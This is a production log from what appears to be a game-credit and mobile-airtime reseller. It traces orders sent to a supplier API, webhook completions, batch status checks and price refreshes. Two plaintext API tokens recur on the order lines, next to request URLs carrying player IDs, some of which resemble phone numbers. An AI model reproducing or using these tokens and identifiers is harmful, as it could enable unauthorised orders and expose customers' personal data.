[2026-03-24 17:16:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sSsRrG-1774361644","status":"completed","codes_count":0} 
[2026-03-24 17:17:04] production.INFO: Constructing job for order: 178993  
[2026-03-24 17:17:07] production.INFO: Handling job for order: 178993  
[2026-03-24 17:17:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:17:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:17:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=00cf53c1-427c-4281-b97f-275068df2b94&Player_ID=51894975557  
[2026-03-24 17:17:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=00cf53c1-427c-4281-b97f-275068df2b94&Player_ID=51894975557","has_body":false} 
[2026-03-24 17:17:08] production.INFO: Operation sent successfully {"operation_id":163900,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eT2-1774361828","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:17:08"}},"processed_data":{"order_number":"ORD-eT2-1774361828","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:17:13] production.INFO: Constructing job for order: 178994  
[2026-03-24 17:17:14] production.INFO: Handling job for order: 178994  
[2026-03-24 17:17:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:17:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:17:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=4c096397-e51d-4618-82ff-1055cfb383ea&Player_ID=1941369096  
[2026-03-24 17:17:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=4c096397-e51d-4618-82ff-1055cfb383ea&Player_ID=1941369096","has_body":false} 
[2026-03-24 17:17:15] production.INFO: Operation sent successfully {"operation_id":163901,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5qBAe-1774361835","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 17:17:15"}},"processed_data":{"order_number":"ORD-5qBAe-1774361835","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 17:17:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eT2-1774361828","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:17:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-eT2-1774361828","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:17:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:17:17] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":178993} 
[2026-03-24 17:17:17] production.INFO: Order updated successfully. Order ID: 178993, Status: completed  
[2026-03-24 17:17:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eT2-1774361828","status":"completed","codes_count":0} 
[2026-03-24 17:17:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 17:17:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5qBAe-1774361835","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:17:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-5qBAe-1774361835","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:17:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:17:20] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"order_approved","reference_id":178994} 
[2026-03-24 17:17:20] production.INFO: Order updated successfully. Order ID: 178994, Status: completed  
[2026-03-24 17:17:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5qBAe-1774361835","status":"completed","codes_count":0} 
[2026-03-24 17:17:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 17:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03"} 
[2026-03-24 17:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","total_operations":3,"sites_count":1} 
[2026-03-24 17:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-4PmrJ-1774361724"]} 
[2026-03-24 17:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 17:18:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:18:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"count":1} 
[2026-03-24 17:18:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"count":1} 
[2026-03-24 17:18:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"user_id":587,"notification_type":"order_approved","reference_id":178992} 
[2026-03-24 17:18:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:18:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:18:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"errors":0} 
[2026-03-24 17:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"errors":0} 
[2026-03-24 17:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"I1mPWHISW1h7RpNInFQcZ3Olb3Hr2g8S","execution_time":"2026-03-24 17:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:18:05] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:18:23] production.INFO: Constructing job for order: 178995  
[2026-03-24 17:18:26] production.INFO: Handling job for order: 178995  
[2026-03-24 17:18:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:18:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:18:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=816d7d36-8d87-4678-8fb2-055a071407db&Player_ID=777022745  
[2026-03-24 17:18:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=816d7d36-8d87-4678-8fb2-055a071407db&Player_ID=777022745","has_body":false} 
[2026-03-24 17:18:27] production.INFO: Operation sent successfully {"operation_id":163902,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NyUw-1774361907","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 17:18:27"}},"processed_data":{"order_number":"ORD-NyUw-1774361907","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 17:18:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NyUw-1774361907","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:18:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-NyUw-1774361907","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:18:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:18:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":178995} 
[2026-03-24 17:18:32] production.INFO: Order updated successfully. Order ID: 178995, Status: completed  
[2026-03-24 17:18:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NyUw-1774361907","status":"completed","codes_count":0} 
[2026-03-24 17:18:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 17:20:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03"} 
[2026-03-24 17:20:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","total_operations":2,"sites_count":1} 
[2026-03-24 17:20:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666"]} 
[2026-03-24 17:20:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:20:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"w6AZtP6r7yJjD7T6vKZmXCv7zGI6JWff","execution_time":"2026-03-24 17:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:20:05] production.INFO: async() رجع: true  
[2026-03-24 17:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:20:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:20:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"request_approved","reference_id":18653} 
[2026-03-24 17:20:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:20:43] production.INFO: Constructing job for order: 178996  
[2026-03-24 17:20:46] production.INFO: Handling job for order: 178996  
[2026-03-24 17:20:46] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:20:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:20:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=27bb3a47-a8fe-4c21-8042-400dd208fb3d&Player_ID=0947858839  
[2026-03-24 17:20:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=27bb3a47-a8fe-4c21-8042-400dd208fb3d&Player_ID=0947858839","has_body":false} 
[2026-03-24 17:20:46] production.INFO: Operation sent successfully {"operation_id":163903,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PGybAK-1774362046","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:20:46"}},"processed_data":{"order_number":"ORD-PGybAK-1774362046","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:20:57] production.INFO: SendAcceptReject: Notification queued {"user_id":769,"notification_type":"request_approved","reference_id":18654} 
[2026-03-24 17:20:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 769  
[2026-03-24 17:21:03] production.INFO: Constructing job for order: 178997  
[2026-03-24 17:21:04] production.INFO: Handling job for order: 178997  
[2026-03-24 17:21:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:21:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:21:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=877cbd37-3cc7-47d3-9058-d8b1b7aadbcc&Player_ID=0985970389  
[2026-03-24 17:21:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=877cbd37-3cc7-47d3-9058-d8b1b7aadbcc&Player_ID=0985970389","has_body":false} 
[2026-03-24 17:21:05] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"request_approved","reference_id":18655} 
[2026-03-24 17:21:05] production.INFO: Operation sent successfully {"operation_id":163904,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-prE5CND-1774362065","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:21:05"}},"processed_data":{"order_number":"ORD-prE5CND-1774362065","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 17:21:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18656} 
[2026-03-24 17:21:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 17:21:21] production.INFO: SendAcceptReject: Notification queued {"user_id":1706,"notification_type":"request_approved","reference_id":18657} 
[2026-03-24 17:21:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 17:21:40] production.INFO: Constructing job for order: 178998  
[2026-03-24 17:21:41] production.INFO: Handling job for order: 178998  
[2026-03-24 17:21:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:21:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:21:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=25500&uuid=54b2d689-76f6-4d0c-b83d-4466c74f36d1&Player_ID=5583892  
[2026-03-24 17:21:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=25500&uuid=54b2d689-76f6-4d0c-b83d-4466c74f36d1&Player_ID=5583892","has_body":false} 
[2026-03-24 17:21:42] production.INFO: Operation sent successfully {"operation_id":163905,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-taJq-1774362102","amount":3.19637145000000000294448909698985517024993896484375,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 17:21:42"}},"processed_data":{"order_number":"ORD-taJq-1774362102","amount":3.19637145000000000294448909698985517024993896484375,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 17:22:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03"} 
[2026-03-24 17:22:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","total_operations":5,"sites_count":2} 
[2026-03-24 17:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-taJq-1774362102"]} 
[2026-03-24 17:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905} 
[2026-03-24 17:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 17:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"processed":0,"errors":0} 
[2026-03-24 17:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"orders_count":2,"order_ids":["ORD-PGybAK-1774362046","ORD-prE5CND-1774362065"]} 
[2026-03-24 17:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905} 
[2026-03-24 17:22:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"orders_count":2} 
[2026-03-24 17:22:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 17:22:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 17:22:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"count":2} 
[2026-03-24 17:22:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"count":2} 
[2026-03-24 17:22:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"user_id":1659,"notification_type":"order_approved","reference_id":178996} 
[2026-03-24 17:22:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"user_id":1752,"notification_type":"order_approved","reference_id":178997} 
[2026-03-24 17:22:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:22:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:22:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"processed":2,"errors":0} 
[2026-03-24 17:22:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904,"processed":2,"errors":0} 
[2026-03-24 17:22:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qvScQWiedkPJbCaS3NnoRqhEAKsVvIIR","execution_time":"2026-03-24 17:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prE5CND-1774362065","operation_id":163904} 
